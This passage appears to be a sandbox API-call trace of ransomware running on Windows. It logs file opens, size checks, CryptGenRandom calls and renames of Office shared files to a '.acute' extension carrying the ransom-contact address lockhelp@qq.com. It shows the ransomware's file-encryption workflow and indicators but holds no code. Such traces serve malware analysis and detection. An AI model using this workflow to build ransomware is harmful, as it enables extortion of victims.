(normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.067] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=625) returned 1 [0274.068] CloseHandle (hObject=0x30c) returned 1 [0274.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf")) returned 0x20 [0274.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.068] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.069] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=49133) returned 1 [0274.069] CloseHandle (hObject=0x30c) returned 1 [0274.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm")) returned 0x20 [0274.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.069] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.070] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=578) returned 1 [0274.070] CloseHandle (hObject=0x30c) returned 1 [0274.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf")) returned 0x20 [0274.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.070] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.071] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=106004) returned 1 [0274.071] CloseHandle (hObject=0x30c) returned 1 [0274.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm")) returned 0x20 [0274.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.071] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.071] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=555) returned 1 [0274.071] CloseHandle (hObject=0x30c) returned 1 [0274.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf")) returned 0x20 [0274.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.072] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.073] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7276) returned 1 [0274.073] CloseHandle (hObject=0x30c) returned 1 [0274.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf")) returned 0x20 [0274.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.073] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.074] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=65996) returned 1 [0274.074] CloseHandle (hObject=0x30c) returned 1 [0274.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm")) returned 0x20 [0274.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.074] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.075] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=417) returned 1 [0274.075] CloseHandle (hObject=0x30c) returned 1 [0274.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf")) returned 0x20 [0274.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.075] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.075] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=49094) returned 1 [0274.076] CloseHandle (hObject=0x30c) returned 1 [0274.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm")) returned 0x20 [0274.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.076] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.076] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=683) returned 1 [0274.076] CloseHandle (hObject=0x30c) returned 1 [0274.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf")) returned 0x20 [0274.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.077] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.078] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1658904) returned 1 [0274.078] CloseHandle (hObject=0x30c) returned 1 [0274.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0x20 [0274.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0 [0274.078] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.078] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=978206) returned 1 [0274.078] CloseHandle (hObject=0x30c) returned 1 [0274.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0274.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.078] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.079] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=943322) returned 1 [0274.079] CloseHandle (hObject=0x30c) returned 1 [0274.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0274.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.079] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.079] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=229888) returned 1 [0274.079] CloseHandle (hObject=0x30c) returned 1 [0274.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll")) returned 0x20 [0274.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.080] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.080] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1046514) returned 1 [0274.080] CloseHandle (hObject=0x30c) returned 1 [0274.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its")) returned 0x20 [0274.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.080] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.081] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=678912) returned 1 [0274.081] CloseHandle (hObject=0x30c) returned 1 [0274.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex")) returned 0x20 [0274.081] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.081] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 